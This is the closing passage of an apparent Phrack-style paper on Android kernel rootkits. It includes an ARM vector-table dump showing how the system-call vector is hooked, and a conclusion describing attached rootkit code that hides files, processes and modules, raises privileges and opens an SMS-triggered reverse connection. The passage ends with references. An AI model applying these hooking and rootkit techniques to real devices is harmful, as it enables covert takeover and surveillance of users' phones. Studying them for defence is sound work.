[008] ffff0008: e59ff414 [SWI] ; ldr pc, [pc, #1044] ; 0x424
[00c] ffff000c: ea0000bb [Abort-perfetch] ; b 0x300
[010] ffff0010: ea00009a [Abort-data] ; b 0x280
[014] ffff0014: ea0000fa [Reserved] ; b 0x404
[018] ffff0018: ea000078 [IRQ] ; b 0x608
[01c] ffff001c: ea0000f7 [FIQ] ; b 0x400
[020] Reserved
... skip ...
[420] ffff0420: c003df40 [vector_swi]
[424] ffff0424: bf0ceb5c [new_vector_swi] ; fake vector_swi handler code
Hooking starts when the address of a fake vector_swi handler code is stored
at 0xffff0424 and the 4 byte branch instruction offset at 0xffff0008
changes the address around 0xffff0424 for reference.
--[ 6 - Conclusion
One more time, I thank many pioneers for their devotion and inspiration.
I also hope various Android rootkit researches to follow. It is a pity
that I couldn't cover all the ideas that occurred in my mind during
writing this paper. However, I also think that it is better to discuss
the advanced and practical techniques next time -if you like this one ;-)-.
For more information, the attached example code provides not only file &
process hiding and kernel module hiding features but also the classical
rootkit features such as admin privilege succession to specific gid user
and process privilege changing. I referred to the Defcon 18 whitepaper of
Christian Papathanasiou and Nicholas J. Percoco for performing the reverse
connection when we receive a sms message from an appointed phone number.
Thanks to:
vangelis and GGUM for translating Korean into English. Other than those who
helped me on this paper, I'd like to thank my colleagues, people in my
graduate school and everyone who knows me.
--[ 7 - References
[1] "Abuse of the Linux Kernel for Fun and Profit" by halflife
[Phrack issue 50, article 05]
[2] "Weakening the Linux Kernel" by plaguez
[Phrack issue 52, article 18]
[3] "RUNTIME KERNEL KMEM PATCHING" by Silvio Cesare
[runtime-kernel-kmem-patching.txt]
[4] "Linux on-the-fly kernel patching without LKM" by sd & devik
[Phrack issue 58, article 07]
[5] "Handling Interrupt Descriptor Table for fun and profit" by kad
[Phrack issue 59, article 04]
[6] "trojan eraser or i want my system call table clean" by riq
[Phrack issue 54, article 03]
[7] "yet another article about stealth modules in linux" by riq
["abtrom: anti btrom" in a mail to Bugtraq]
[8] "Saint Jude, The Model" by Timothy Lawless
[http://prdownloads.sourceforge.net/stjude/StJudeModel.pdf]
[9] "IA32 ADVANCED FUNCTION HOOKING" by mayhem
[Phrack issue 58, article 08]
[10] "Android LKM Rootkit" by fred
[http://upche.org/doku.php?id=wiki:rootkit]
[11] "This is not the droid you're looking for..." by Trustwave
[DEFCON-18-Trustwave-Spiderlabs-Android-Rootkit-WP.pdf]
--[ 8 - Appendix: earthworm.tgz.uu
I attach a demo code to demonstrate the concepts which I explained in this
paper. This code can be used as a real code for attack or just a proof-of-
concept code. I wish you use this code only for your study not for a bad
purpose.
<++> earthworm.tgz.uu
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====
<-->
--[ EOF